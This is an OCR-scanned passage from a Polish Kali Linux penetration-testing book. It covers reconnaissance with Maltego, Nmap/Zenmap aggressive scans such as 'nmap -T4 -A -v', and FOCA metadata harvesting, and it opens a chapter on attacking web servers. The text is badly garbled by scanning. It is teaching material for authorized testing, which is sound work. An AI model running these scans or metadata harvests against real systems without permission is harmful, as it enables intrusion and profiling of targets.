Maltego — graficzna prezentacja zbieranych informacji Maltego to narzędzie firmy Paterva, które zostało zaimplementowane w systemie Kali Linux. Jest to wielozadaniowe narzędzie wspomagające wyszukiwanie i agregowanie informacji o celu, znaj dujących się w publicznie dostępnych źródłach w internecie. Maltego posiada kilka wbudowa nych, własnych narzędzi do pozyskiwania danych z serwerów D N S i pozwala na bardzo do kładne profilowanie celu i zbieranie informacji na jego temat. Dla ułatwienia analizy zebrane informacje mogą być prezentowane w formie wykresów graficznych. Aby uruchomić pakiet Maltego, z menu głównego wybierz polecenie Programy, przejdź do grupy K ali Linux, a następnie wybierz polecenie Inform ation G athering/D N S A nalysis/M altego. Pierwszą czynnością, którą musisz wykonać po uruchomieniu pakietu M altego, je st jego za rejestrowanie. Nie ma możliwości używania tej aplikacji bez je j uprzedniego zarejestrowania.
74
R o z d z ia ł 2. • R e k o n e s a n s
fl
Po zakończeniu procesu rejestracji będziesz mógł dokończyć instalowanie pakietu i zacząć z niego korzystać.
Maltego wykorzystuje wiele różnych metod gromadzenia danych. Najłatwiejszym sposobem używania tej aplikacji jest skorzystanie z kreatora, który pozwoli Ci na zdefiniowanie rodza jów informacji, których gromadzeniem jesteś zainteresowany. Doświadczeni użytkownicy mogą rozpocząć pracę od pustego wykresu lub nawet całkowicie pominąć kreatora. Efektywność pakietu Maltego wynika z tego, że pozwala Ci na wizualną obserwację zależności pomiędzy po szczególnymi domenami, organizacjami i użytkownikami. Dzięki temu możesz szybko znaleźć potrzebne informacje o wybranej organizacji lub na przykład skoncentrować się na zależno ściach między daną organizacją a innymi podmiotami.
75
K a li L in u x . T e s ty p e n e tra c y jn e
W zależności od wybranych opcji Maltego może wykonywać między innymi następujące zadania: ■
Znajdowanie powiązań między adresami poczty elektronicznej a konkretnymi osobami.
■
Znajdowanie powiązań między witrynami internetowymi a konkretnymi osobami.
■
Weryfikowanie adresów poczty elektronicznej.
■
Wyszukiwanie i zbieranie informacji udostępnianych w serwisie Twitter, włącznie z takimi danymi, jak informacje geolokacyjne zamieszczanych tam zdjęć.
Pod nazwami większości opcji znajdziesz krótki opis ich zastosowania, a nazwy pozostałych opcji są dosyć oczywiste i nie wymagają dodatkowych objaśnień. Pakiet Maltego jest wyko rzystywany głównie do zbierania informacji, które następnie mogą być wykorzystywane do różnych celów (jednym z nich mogą być przygotowania do przeprowadzenia ataku z wykorzy staniem metod socjotechnicznych). x
s t a r t a M achine
S te p s
R u n M a c h in e - C h o o s e m a c h in e ( 1 o f 2 )
<
] |
W ert > ~ |
F in ish ~ | J
C
Nmap Nmap (ang. N etw ork M apper) to popularne narzędzie przeznaczone do skanowania portów i wykrywania usług w sieciach komputerowych. Nmap posiada rozbudowane mechanizmy pozwalające na wykrywanie typów systemów operacyjnych oraz identyfikację usług i aplikacji działających na hostach sieciowych. Jest to jed en z najczęściej używanych i najefektywniej szych skanerów sieciowych, co jednak jednocześnie powoduje, że je st dobrze znany i łatwy do wykrycia. Z tego powodu zalecamy, aby korzystać z tego programu tylko w wyjątkowych sytuacjach, tak aby zminimalizować ryzyko wykrycia. Więcej szczegółowych informacji na temat programu Nmap znajdziesz na stronie internetowej http://n m ap.org/.
76
R o z d z ia ł 2. • R e k o n e s a n s
|
Oprócz samego skanera Nmap w systemie Kali Linux możesz znaleźć pakiet Zenmap, który jest oficjalnie przyjętym graficznym interfejsem użytkownika (GUI — ang. G rap h ical User Interface) dla pakietu Nmap (sam Nmap działa wyłącznie w trybie tekstowym). Istnieje oczywiście grono najbardziej zatwardziałych użytkowników, którzy twierdzą, że prawdziwi, doświadczeni pentesterzy używają wyłącznie konsolowej wersji skanera Nmap, ale trzeba przyznać, że w ciągu ostatnich lat Zenmap przeszedł długą drogę i obecnie potrafi obsłużyć niemal wszystkie, nawet najbardziej zaawansowane funkcje skanera Nmap. Co więcej, Zenmap oferuje nawet swoje wła sne, dodatkowe funkcje, których próżno by szukać w oryginalnej, konsolowej wersji skanera, takie jak tworzenie graficznej reprezentacji skanu, która może później być z powodzeniem wykorzystywana podczas tworzenia dokumentacji i przygotowywania raportu końcowego. Aby uruchomić pakiet Zenmap, z menu głównego wybierz opcję P rogram y, przejdź do grupy K ali Linux i następnie wybierz polecenie Inform ation G athering/D N S Analysis/Zenm ap. Scan
Na ekranie pojawi się główne okno programu. W prawej górnej części okna znajduje się lista rozwijana P rofile, pozwalająca na wybranie jednego z dostępnych rodzajów skanowania. W y gląd listy został przedstawiony na kolejnym rysunku. Intense scan Intense scan Intense scan plus UDP Intense scan, all TC P ports Intense scan, no ping Ping scan Quick scan Quick scan plus Quick traceroute Regular scan Slow comprehensive scan
77
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Pierwszym krokiem po uruchomieniu skanera jest utworzenie nowego profilu, który w pakiecie Zenmap pozwala na zdefiniowanie rodzaju przeprowadzanego skanu oraz wybranie odpowiednich opcji. Aby to zrobić, z menu głównego wybierz polecenie Profile i następnie wybierz polecenie N ew P rofile o r C om m and, jak przedstawiono na rysunku zamieszczonym poniżej: Zenm ap S can
T o o ls
T a r g e t:
|
C o m m a n d:
H o s ts
OS
P ro file
H e lp
N e w .P ro file o r C o m m a n d
C t r l+ P
E d it S e le c t e d P r o file
C t r l+ E
I n te n s e s c a r
jn m a p - T 4 - A - v
S e rv ic e s
N m ap O u tp u t
P o r ts / H o s ts I T o p o L o g y | H o s t D e ta ils [ S can s
H ost
Po wybraniu polecenia N ew Profile or Com m and pojawi się okno edytora profili. W polu Profile n am e wpisz nazwę tworzonego profilu (najlepiej użyć jakiejś opisowej nazwy, na przykład M ój p ierw szy skan, ale w praktyce nazwa oczywiście może być zupełnie dowolna). Opcjonalnie możesz uzupełnić utworzony profil opisem jego przeznaczenia (pole D escrip tion). W trakcie pracy będziesz zapewne tworzył wiele różnych profili skanowania i będziesz przeprowadzał wiele skanów. Zupełnie naturalnym odruchem może być kasowanie profilu po zakończeniu skanowania. Mamy jednak dla Ciebie małą poradę — profile nie zajmują praktycznie żadnego dodatkowego miejsca, a są bardzo użyteczne, kiedy przychodzi wykonać kolejny skan na podobnych czy wręcz identycznych ustawieniach. Zdecydowanie dobrą i rekomendowaną praktyką jest nadawanie profilom skanowania rozbudowanych, opisowych nazw i wypracowanie swojej własnej, dostosowanej do potrzeb metodologii ich nadawania. W naszym przypadku nazwa profilu zawsze rozpoczyna się od bieżącej daty i czasu, potem dodajemy nazwę miejsca, w którym się znajdujemy, lokalizację sieciową celu oraz nazwę klienta, na którego zlecenie przeprowa dzamy taki skan.
P r o file | S can | P ing | S c r ip tin g
T a rg e t
S o u rc e | O t h e r | T im in g
P r o f ile I n fo r m a tio n P r o file n am e
| M y F ir s t S can
D e s c rip tio n
3 - 2 0 - 1 3 a t 1 1 :0 0 a m C D T D rC h a o s n e t w o r k S can. T a r g e t h o s ts 1 0 . 0 .1 . 0 / 2 4 |
Jeżeli zakończyłeś już nadawanie nazwy i tworzenie opisu profilu skanowania, przejdź na kartę Scan. W polu Targets wpisz adresy hostów i sieci, których skanowanie chcesz przeprowadzić. W razie potrzeby możesz tutaj wpisać całe zakresy adresów IP, zarówno w formacie podstawo wym (np. 10.0.1.1-255), jak i w formacie C ID R (np. 10.0.1.1/24).
78
R o z d z ia ł 2. • R e k o n e s a n s
|
Jak zapewne zauważyłeś, domyślnie zaznaczona jest opcja -A, pozwalająca na przeprowadzenie agresywnego skanowania. Włączenie tej opcji powoduje włączenie modułu wykrywania systemu operacyjnego (opcja -O), wykrywania wersji (opcja -sV), skanowanie z użyciem skryptów (opcja -sC) oraz śledzenie ścieżki sieciowej prowadzącej do badanego hosta (opcja -tracerou te). Krótko mówiąc, użycie opcji -A powoduje automatycznie włączenie wielu opcji agresywnego skano wania, dzięki czemu nie musisz ich po kolei włączać ręcznie. Skanowanie agresywne jest uważane za metodę inwazyjną, co oznacza, że jest wykrywane przez zdecydowaną większość nawet niezbyt „rozgarniętych” urządzeń zabezpieczających sieci. Taki skan może czasami przejść niezauważony (zwłaszcza w przypadku specyficznych systemów), ale niezależnie od tego przed rozpoczęciem skanowania powinieneś zawsze upewnić się, że posiadasz pisemną zgodę właściciela systemu na przeprowadzenie skanowania i osobną zgodę na użycie opcji skanowania agresywnego. Pamiętaj, że w wielu krajach (m.in. w USA) zakończenie trzeciego etapu połączenia trójetapowego (ang. three-w ay handshake), czyli wysłanie sygnału ACK kończącego sekwencję połączenia z hostem, je st uważane za nielegalne, jeśli nie posia dasz odpowiedniego uprawnienia do połączenia z nim. Do wybrania celu naszego ataku możemy teraz użyć informacji, które pozyskaliśmy nieco wcze śniej z serwerów DNS. Zanim jednak do tego przystąpimy, przyjrzymy się kilku najczęściej używanym opcjom skanera Nmap: n m ap - T 4 -A - v 1 0 . 0 . 1 , 0 / 2 4
P ro file
S can
P ing
S c rip tin g
T a rg e t
S o u rc e
O th e r
T im in g
S c a n o p t io n s
T a r g e t s (o p tio n a l):
1 0 . 0 .1 . 0 / 2 4 |
T C P scan:
N one
o
N o n - T C P scans:
N one
o
T im in g te m p la te :
A g g re s s iv e (- T 4 )
c
0
E n a b le a ll a d v a n c e d /a g g re s s iv e o p tio n s (-A )
D
O p e r a tin g s y s te m d e t e c tio n ( - 0 )
□
V e r s io n d e t e c tio n (-s V )
D
Id le S ca n (Z o m b ie ) ( - s i)
□
F T P b o u n c e a tta c k (-b )
D
DisabLe r e v e r s e D N S r e s o lu t io n (-n )
□
IP v 6 s u p p o r t (- 6 )
Przejdź na kartę Ping i zaznacz opcję Don’t ping b efore scanning (-Pn), co spowoduje, że Nmap nie będzie wysyłał komunikatów ICMP E ch o Request do sprawdzenia, czy host jest aktywny. Jeżeli nie zaznaczysz tej opcji, Nmap będzie wysyłał takie komunikaty do wszystkich hostów i sieci zdefiniowanych w profilu skanu. Domyślnie dalszemu skanowaniu poddawane są tylko takie hosty, które są aktywne w sieci. Wybranie opcji -Pn powoduje, że Nmap będzie skanował
79
K a li L in u x . T e s ty p e n e tra c y jn e
wszystkie hosty zdefiniowane w profilu, niezależnie od tego, czy odpowiadają na próby „pingowania”. Takie rozwiązanie może co prawda znacznie wydłużyć czas skanowania, ale za to użycie opcji -Pn pozwala na skanowanie hostów w sytuacji, kiedy nadchodzące ze skanera komunikaty ICM P E ch o R equest są blokowane na poziomie zapory sieciowej lub innych urządzeń zabezpie czających środowisko celu.
Zapisz wprowadzone zmiany, klikając przycisk Save changes, znajdujący się w prawym dolnym rogu okna dialogowego edytora profilu skanowania. Po zapisaniu opcji możesz kliknąć przycisk Scan, znajdujący się w prawym górnym rogu okna, i tym samym rozpocząć proces skanowania. Zwróć uwagę, że wybrane przez Ciebie opcje zostaną wyświetlone w oknie skanowania. Scąn
Io o ls
Target
110.0.1.0/24
Com m and | H osts OS
Profile
Help Profile
|lntense scan
Scan
I
C a nce l |
|nmap -T 4 - A - v 10.0.1.0/24 Services |
Host
Nmap Output |Ports / H osts |Topology |Host Details |Scans | nmap -T 4 - A - v S t a r t i n g Nmap 6 .2 5 ( h t t p :/ / n m a p .o r g ) a t 2 6 1 3 -0 3 *2 1 0 6 :1 6 COT N SE: Loaded 106 s c r i p t s f o r s c a n n in g . N SE: S c r i p t P r e - s c a n n in g .
Spojrzenie na kartę Topology pozwoli Ci szybko zorientować się w tym, jak zakończony został Twój skan i czy po drodze do celu pakiety musiały przejść przez jakieś routery Na przykładzie zamieszczonym na następnej stronie widać, że skan nie wychodził poza obręb sieci lokalnej. Listę wykrytych hostów znajdziesz na karcie H osts.
80
R o z d z ia ł 2. • R e k o n e s a n s
Kiedy zaznaczysz jeden ze znalezionych hostów, Zenmap na karcie H ost details wyświetli szcze gółową listę odkrytych zasobów tego hosta, obejm ującą takie informacje, jak typ systemu ope racyjnego, lista aktywnych usług i wiele innych. Na następnym rysunku widać, że zaznaczo nym hostem je st tuner telewizji satelitarnej.
81
K a li L in u x . T e s ty p e n e tra c y jn e
Jeżeli spojrzysz na okno wyników skanowania, zobaczysz, że obejm ują one nie tylko numery otwartych portów na poszczególnych hostach, ale również listę działających na nich usług i aplikacji. Zwróć uwagę, że Nmap potrafi wykryć, że na przykład na porcie 80 działa serwer IIS w wersji 5.0, odgrywający rolę serwera WWW. W wynikach skanu znajdziesz również informacje o adresie IP tego serwera, systemie operacyjnym, pod którego kontrolą działa ten serwer, oraz listę udostępnianych przez niego aplikacji internetowych. Nie trzeba dodawać, że dla pentestera przygotowującego się do przeprowadzenia ataku takie informacje mają ogromną wartość. Scan
T o o ls
T arge t
£ r o file
H e lp
w
11 0 .0 .1 .0 /2 4
C om m and H o s ts
I P ro file :
[in te n s e i
* I
Scan)
|n m a p - T 4 - A - v 1 0 .0 .1 .0 /2 4
1 Services
Service
w \
D ra go nID S C on s ole a ir p o r t-a d m m da ap d o m a in h p -g s g
N m a p O u tp u t | Ports / H o s ts | T o p o lo g y | H o s t D e ta ils | Scans | n m a p - T 4 - A - v 1 0 .0 .1 .0 /2 4
▼ |
U p tim e g u e s s : 1 3 .3 1 9 d a y s ( s i n c e T h u M ar 7 1 5 :4 8 :2 5 26 1 3 ) N e tw o rk O i s t a n c e : 1 h o p TCP S e q u e n c e P r e d i c t i o n : D i f f i c u l t y * 2 6 6 (G oo d l u c k ! ) IP ID S e q u e n c e G e n e r a t i o n : R a n d o a iz e d TRACER0UTE HOP RTT ADDRESS 1 5 .1 2 as 1 6 .6 .1 .1 6 4
h t tp je td ire c t n e tb io s - s s n p rin te r qs c it s p s n e t- s e n s o r - m g m t ssh s u n -a n s w e rb o o k tc p w rapped unknow n
N aap s c a n r e p o r t f o r 1 6 . 6 . 1 . 1 6 7 H o s t i s up (6 .6 6 6 3 s la t e n c y ) . N o t sho w n: 984 c lo s e d p o r t s PORT STATE SERVICE VERSION 8 6 /tc p open h ttp HP O f f i c e j e t P r o 8 6 0 6 p r i n t e r h t t p c o n f i g ( S e r i a l CN27KBWHX605KC) h t t p f a v i c o n : U nkn ow n f a v i c o n M 05: A1403B AA6A6746D 1A 77AFB1E10C 82F8F h t t p - a e t h o d s : GET h t t p - t i t l e : S i t e d o e s n 't h a v e a t i t l e ( t e x t / h t a l ; c h a r s e t - U T F - 8 ) . 3 9 /tc p open tc p w r a p p e d 4 4 3 /tc p open s s l/h t tp HP O f f i c e j e t P r o 8 6 0 0 p r i n t e r h t t p c o n f i g ( S e r i a l CN27KBWHX605KC) | h t t p - f a v i c o n : U nkn ow n f a v i c o n NOS: A1403B AA6A674601A 77AF B1E1D C 82F 6F | h t t p - a e t h o d s : GET I h t t p - t i t l e : S i t e d o e s n 't h a v e a t i t l e ( t e x t / h t a l ; c h a rs e t« U T F -8 ). I s s l - c e r t : S u b j e c t : c o m a o n N a a e » H P C 7 7 6 1 D /o rg a n iz a tio n N a m e » H P / s ta te O r P r o v in c e N a m e - W a s h in g to n /c o u n tr y N a a e - U S | I s s u e r : c o a a o n N a a e - H P C 7 7 6 1 D /o r g a n iz a tio n N a a e - H P /s t a te 0 r P r o v in c e N a a e - W a s h in g t o n / c o u n try N a a e -U S P u b lic Key ty p e : rs a P u b l i c K e y b i t s : 16 24 N o t v a l i d b e fo r e : 2 6 1 2 - 6 8 -6 3 1 1 4 :3 9 :2 1 * 6 6 :6 6 N ot v a lid a f t e r : 2 6 3 2 -6 7 -2 9 T 1 4 :3 9 :2 1 * 6 6 :6 6 H 0S ; c a 9 e 6 d e 8 7 6 81 b c b e a 8 7 b a e f a 2 7 a 6 e l 6 d S H A -1 : 9 1 e S e e 6 a S98S c 7 3 9 c 9 S 6 6 4 3 7 S 66a 5 2 5 7 f8 9 6 c 5 c 7 u j a»«», i n n m i a t i i . i a . a c . aa . aa . CkAt.Ci. 1«>«1 »<•.
Teraz już wiesz, że możesz skoncentrować swoje wysiłki na systemie odgrywającym rolę ser wera WWW, ponieważ port 80 jest tam otwarty. Użycie pakietu Zenmap to najlepszy sposób na przetwarzanie wyników działania skanera Nmap. Zenmap posiada rozbudowany interfejs graficzny, który pozwala zarówno na wyświe tlanie i przeglądanie wyników skanu, jak i eksportowanie ich do innych formatów, takich jak pliki tekstowe czy skoroszyty programu Microsoft Excel. Istnieje całkiem sporo sposobów wyświetlania, przeglądania i zapisywania wyników działania programu Nmap (na przykład autorzy tej książki mimo wszystko preferują korzystanie ze sta rej, dobrej wersji konsolowej). W tym rozdziale zdecydowaliśmy się jednak na przedstawienie rozwiązania wykorzystującego pakiet Zenmap, ponieważ je st to metoda niezwykle popularna, przywoływana w wielu różnych źródłach opisujących metodologię przeprowadzania testów penetracyjnych i pozwalająca na łatwe eksportowanie wyników do innych programów.
82
R o z d z ia ł 2. • R e k o n e s a n s
|
N m ap O u tp u t | Ports / H osts | T o p o lo g y | H ost D etails | Scans |
nmap -T 4 -A - v 10.0.1.0/24 I n i t i a t i n g SYN S t e a lth Scan a t 1 9 :S8 Scanning 5 h o s ts [1000 p o r t s /h o s t ] D is c o v e re d open p o r t 8 8 8 8 /tc p on 1 9 . 0 . 1 . 1 0 4 D is c o v e re d open p o r t 8 0 8 0 /tc p on 1 9 . 0 . 1 . 1 9 7 D is c o v e re d open p o r t 4 4 5 /tc p on 1 9 . 9 . 1 . 1 0 7 D is c o v e re d open p o r t 5 3 /tc p on 1 9 . 9 . 1 . 1 0 3 D is c o v e re d open p o r t 2 2 /tc p on 1 0 . 9 . 1 . 1 0 3 D is c o v e re d open p o r t 8 0 /tc p on 1 0 . 9 . 1 . 1 0 3 D is c o v e re d open p o r t 8 0 /tc p on 1 9 . 9 . 1 . 1 0 7 D is c o v e re d open p o r t 4 4 3 /tc p on 1 9 . 9 . 1 . 1 0 7 D is c o v e re d open p o r t 8 0 /tc p on 1 0 . 9 . 1 . 1 0 4 D is c o v e re d open p o r t 4 4 3 /tc p on 1 9 . 9 . 1 . 1 0 4 D is c o v e re d open p o r t 1 3 9 /tc p on 1 9 . 9 . 1 . 1 0 7 D is c o v e re d open p o r t S 3 /tc p on 1 0 . 9 . 1 . 1 D is c o v e re d open p o r t 9 1 0 0 /tc p on 1 9 . 0 . 1 . 1 9 7 D is c o v e re d open p o r t 6 3 1 /tc p on 1 9 . 9 . 1 . 1 0 7 D is c o v e re d open p o r t 9 2 9 0 /tc p on 1 9 . 0 . 1 . 1 9 7 D is c o v e re d open p o r t 9 1 1 1 /tc p on 1 0 . 0 . 1 . 1 0 7 D is c o v e re d open p o r t 6 8 3 9 /tc p on 1 9 . 0 . 1 . 1 9 7 D is c o v e re d open p o r t 9 1 1 0 /tc p on 1 9 . 0 . 1 . 1 9 7 D is c o v e re d open p o r t 9 1 0 2 /tc p on 1 9 . 0 . 1 . 1 0 7 D is c o v e re d open p o r t 9 2 2 0 /tc p on 1 9 . 0 . 1 . 1 9 7 D is c o v e re d open p o r t 5 1 5 /tc p on 1 9 . 9 . 1 . 1 0 7 D is c o v e re d open p o r t 9 1 0 1 /tc p on 1 9 . 0 . 1 . 1 0 7 D is c o v e re d open p o r t 7 8 7 /tc p on 1 0 . 9 . 1 . 1 0 4 D is c o v e re d open p o r t 7 4 3 5 /tc p on 1 9 . 0 . 1 . 1 0 7 Completed SYN S t e a lth Scan a g a in s t 1 0 . 0 . 1 . 1 0 4 in 1 .2 7 s ( 4 h o s ts l e f t ) Completed SYN S t e a lth Scan a g a in s t 1 9 . 0 . 1 . 1 9 7 in 1.27s (3 h o s ts l e f t ) D is c o v e re d open p o r t 5 0 0 9 /tc p on 1 9 . 0 . 1 . 1
Na zakończenie warto jeszcze dodać, że pakiet Zenmap posiada mechanizmy pozwalające na eksportowanie wyników działania (lub ich wybranych części) w postaci plików CSV lub plików graficznych, co z pewnością docenisz podczas tworzenia raportu końcowego z przeprowadzo nego testu. Nmap Output |Ports / Hons Topolowy j Host Oetails |Seans | Hons Viewer
^Fisheye ( Controls
Q Save Graphic
FOCA — wyszukiwanie i analiza metadanych Czy wiesz, że za każdym razem, kiedy tworzysz pliki, takie jak prezentacja w programie Microsoft PowerPoint, dokument programu M icrosoft Word czy choćby dokumenty w forma cie PDF, to oprócz treści zapisywany w nich jest również szereg tzw. metadanych? Czym zatem są owe tajemniczo brzmiące metadane? Otóż metadane to po prostu dane o da nych. Inaczej mówiąc, są to dane opisujące inne zestawy danych, obiekty i zasoby, obejm ują ce wiele różnego rodzaju informacji, jak chociażby sposoby formatowania, daty utworzenia dokumentu, jego modyfikacji i drukowania czy dane o autorze. Metadane mogą być bardzo użyteczne dla każdego pentestera, ponieważ zwykle zawierają również informacje o systemie, w którym zostały utworzone, takie jak na przykład:
83
fl
K a li L in u x . T e s ty p e n e tra c y jn e
■
nazwy użytkowników zalogowanych w systemie,
■
nazwa i wersja oprogramowania, za którego pomocą został utworzony dany dokument,
■
łyp i wersja systemu operacyjnego, pod którego kontrolą został utworzony dokument.
FO C A (ang. Fingerprinting O rganizations w ith C o llected A rchives) to narzędzie do przepro wadzania audytów bezpieczeństwa, za którego pomocą można analizować metadane w doku mentach przechowywanych zarówno w zasobach sieciowych, jak i na dyskach lokalnych. Pakiet FOCA jest dostępny w systemie Kali Linux, aczkolwiek jego wersja może być już nieco nieaktualna. Najlepszym rozwiązaniem jest zawsze korzystanie z najnowszej wersji pakietu. Warto pamiętać, że dedykowanym środowiskiem pakietu FO C A jest system Windows, więc nie można wykluczyć, że najnowsze wersje popularnej „foki” będą dostępne już tylko dla tej platformy. Najnowszą wersję pakietu FOCA możesz pobrać z witryny internetowej http://www.elevenpaths. com flab_foca.htm l (do przetłumaczenia witryny na język polski możesz użyć witryny G oogle Translate). Po zainstalowaniu pakietu możesz go uruchomić i wykonać następujące czynności: 1. Utworzenie nowego projektu, jak przedstawiono na rysunkach poniżej.
84
R o z d z ia ł 2. • R e k o n e s a n s
j - P ro ject
E T ^
|g
Tools
Optic
Open p ro je c t
►
Save project
^
Save project As ..
!-j
P ro ject configuration
1J
^
New project
Close
Zalecamy przechowywanie wszystkich plików należących do danego projektu w jednym folderze. Dla każdego projektu powinieneś utworzyć osobny folder.
2. Po wpisaniu nazwy projektu i wybraniu folderu, w którym będą przechowywane jego pliki, powinieneś kliknąć przycisk C reate, jak przedstawiono na poniższym rysunku.
3. Kolejną czynnością do wykonania je st zapisanie utworzonego projektu. Po zapisaniu projektu kliknij przycisk S earch All, co pozwoli pakietowi FOCA na poszukiwanie dokumentów przy użyciu wyszukiwarek sieciowych. W razie potrzeby możesz również użyć tego pakietu do analizy plików znajdujących się na dysku lokalnym komputera.
4. Kliknij prawym przyciskiem myszy wybrany dokument i z menu podręcznego, które pojawi się na ekranie, wybierz polecenie D ow n load, jak przedstawiono na rysunku zamieszczonym poniżej. Custom search
methods found (trace) on http://www.wwt.com/m arkets/documents/
5. Kliknij pobrany plik prawym przyciskiem myszy i wybierz z menu podręcznego opcję E xtract M etadata, jak pokazano poniżej.
86
R o z d z ia ł 2. • R e k o n e s a n s
6. Kliknij pobrany plik prawym przyciskiem myszy i wybierz z menu podręcznego opcję A nalyze M etadata, jak pokazano na kolejnym rysunku.
Na rysunku zamieszczonym poniżej widać, że nasz badany dokument był otwierany przez dwóch użytkowników.
87
K a li L in u x . T e s ty p e n e tra c y jn e
•
l e s t Proje ct
J- Project
S 3
K X * f r e e 3.2
Tools
^¿OpDons
Q T asilist
£
About
H ] Donate
Test Project B -. m i Network ę « n O erts CD
f A ca
! Ö - j ) ServetsfD] 1 IMncÉbed Servers E -rT : Dornarts É ~ 0 Rôles
■£ Vulnerábales
s found (2 ) - Times found
Ooctmerts (1/140J É i)p tx (l) ~^z Metadata summary
Joey Mjriz t a n Lakhcn
—E l Foldera (D) Prriers (0>
5^
Software 0
ED Errais ffl Sj- Operating Systems (0) Passwords JÖ} •S Servers (0)
Tme 1:11:34 1.12.02 1 1231 1.13 00 1 1343 1.13 58
I Source MsfadataSearfi MetadataSearch MeładataSearch MetadataSearch MeładataSearch MetadataSearch
| Seven?/ low low low low low low
J i ł I Ir-ArhvnÉe U é r i ¡cm* J rV m riiw in g
| Message Downloaded docunert Downloaded docunert Downloaded docunert Downloaded docunert Downloaded docunert Downloaded docunert g .C Jia r
I
1 httpZ/www wrwt com markets.'docunerts \VATTG500GscoTelepresence ftlp 7/Svwwwrwt corn erternal_ccrtert. downloads'CashrnanEquprnert Sue ... tttp /Avwrw wrwt com/newrs everts documerts YAV T WirelessMoMtyinHC fttpV/wrwwwrwA com/news_everts/docunerts/*Lj_9_0_05.ixf tttp/Avww wrwt com'eternal content downloads CSMars Data Sheet pet http v /'wrwrwwrwt com’newrs everts docunenU. WWT DesktopWtuafctabo .
-1
É Save kjy lu File
C/i/MR
Na podstawie wyników działania pakietu FO C A możemy również stwierdzić, że do utworze nia tego dokumentu były używane programy M icrosoft Office for M ac oraz Adobe Photoshop; patrz kolejny rysunek.
Korzystając z pakietu FOCA, szybko przekonasz się, że metadane dokumentów publikowa nych na witrynach internetowych bardzo często mogą zawierać niewiarygodnie dużo informacji, które dla pentestera czy nawet potencjalnego napastnika mogą mieć ogromną wartość.
88
R o z d z ia ł 2. • R e k o n e s a n s
|
Pakiet FOCA pozwala użytkownikowi na zapisanie i zindeksowanie kopii wszystkich znalezio nych metadanych. Oczywiście w razie potrzeby można również zapisywać każdy typ metadanych osobno. Jak łatwo możesz sam się przekonać, daje to pentesterowi dostęp do źródła bez cennych informacji. W razie potrzeby informacje znalezione dzięki pakietowi FO C A można łatwo wyeksportować i dołączyć do raportu końcowego. FO C A pozwala również na pobiera nie z witryny celu wybranych plików, które mogą następnie służyć jako przykłady, do których odwołuje się raport końcowy.
Podsumowanie Rekonesans to zazwyczaj najbardziej krytyczny i zajmujący najwięcej czasu etap każdego te stu penetracyjnego. Praktycznie wszystkie działania, jakie pentester wykonuje w kolejnych fazach przeprowadzania testu penetracyjnego, opierają się na danych, które zostały zgromadzone podczas rekonesansu. Im większą wiedzą na temat środowiska celu będzie dysponował pentester, tym większa jest szansa na to, że jego działania nie zostaną wykryte, i tym większa jest szansa na znalezienie i wykorzystanie słabego m iejsca w zabezpieczeniach systemu. Zdecy dowanie zalecamy więc potraktowanie tego rozdziału jako lektury obowiązkowej przed roz poczęciem pracy z kolejnymi rozdziałami. W tym rozdziale skoncentrowaliśmy się na różnych sposobach gromadzenia informacji na te mat środowiska, które będzie celem naszego testu penetracyjnego. Zaprezentowaliśmy kilka najczęściej wykorzystywanych narzędzi, które są dostępne zarówno w internecie, jak i w dystry bucji Kali Linux. Po przeczytaniu tego rozdziału powinieneś być gotowy do oceny poszcze gólnych hostów działających w środowisku celu pod kątem ich przydatności jako potencjalnych obiektów ataku. W kolejnym rozdziale będziemy zajmować się zagadnieniami związanymi z wyszukiwaniem, identyfikacją i wykorzystywaniem podatności oraz luk w zabezpieczeniach aplikacji interne towych i serwerów WWW.
89
fl
K a li L in u x . T e s ty p e n e tra c y jn e
90
3
Ataki na serwery aplikacji internetowych Serwer to z definicji system komputerowy udostępniający różnego rodzaju usługi użytkowni kom i innym systemom komputerowym w sieci. Zakres świadczonych usług jest niezwykle szeroki, od różnego rodzaju usług dostępnych publicznie, takich jak na przykład gry sieciowe, aż do usług przeznaczonych dla wąskiego grona uprawnionych użytkowników, takich jak udostępnianie poufnych danych w sieciach komputerowych dużych firm i innych organizacji. W kontekście architektury klient-serwer serwer to program komputerowy, którego zadaniem jest realizacja żądań wysyłanych przez inne programy, nazywane „klientami”. Inaczej mówiąc, serwer przetwarza różnego rodzaju dane w imieniu klienta, który wysłał żądanie. Klienty mogą działać na tym samym fizycznym komputerze lub być połączone z serwerem poprzez sieć komputero wą. Serwer może na przykład udostępniać grę, z którą poszczególne klienty z całego świata łączą się zdalnie przez internet. Istnieje wiele różnych rozwiązań pozwalających na udostępnia nie usług klientom sieciowym, takich jak serwery Apache, których rola sprowadza się głównie do usług WWW, ale też i takich jak serwery B E A W ebLogic Application, które pozwalają na udostępnianie usług W W W i innych. Serwery sieciowe są zazwyczaj skonfigurowane tak, aby były w stanie znieść duże obciążenie spowodowane świadczeniem usług dla dużej liczby klientów jednocześnie. W praktyce ozna cza to, że takie serwery są wyposażone w odpowiednio wydajne procesory, dużą ilość pamięci operacyjnej oraz odpowiednio dużą przestrzeń dyskową, co z kolei powoduje, że stają się atrakcyjnymi celami dla hakerów. W iele firm i organizacji zarządza swoimi serwerami zdalnie i nie przykłada nadmiernej uwagi do codziennego monitorowania ich działania, wskutek cze go niewielkie wahania wydajności serwerów czy inne tego typu zakłócenia spowodowane przełamaniem zabezpieczeń systemu i aktywnością hakera mogą przejść zupełnie niezauwa żone. Bardzo często zdarza się, że po wykryciu włamania administrator systemu przekonuje się, że od momentu, kiedy czarny charakter po raz pierwszy uzyskał dostęp do systemu, do momentu wykrycia luki w zabezpieczeniach i jego aktywności upłynęło naprawdę wiele czasu.
fl
K a li L in u x . T e s ty p e n e tra c y jn e
W tym rozdziale skoncentrujemy się na identyfikacji i wykorzystywaniu podatności serwerów aplikacji internetowych na ataki. Rozpoczniemy od przedstawienia narzędzi dostępnych w sys temie Kali Linux, które są przeznaczone do wyszukiwania luk w zabezpieczeniach, a następnie skupimy się na narzędziach, które pozwalają na wykorzystywanie wykrytych „dziur” w syste mie do uzyskania nieautoryzowanego dostępu do serwerów aplikacji internetowych (jest to, inaczej mówiąc, tzw. wykorzystywanie exploitów ; terminu exploit1 będziemy często używać w tym rozdziale i pozostałych rozdziałach książki). Na koniec pomówimy również o innych meto dach, pozwalających na zdobycie dostępu do serwerów aplikacji internetowych.
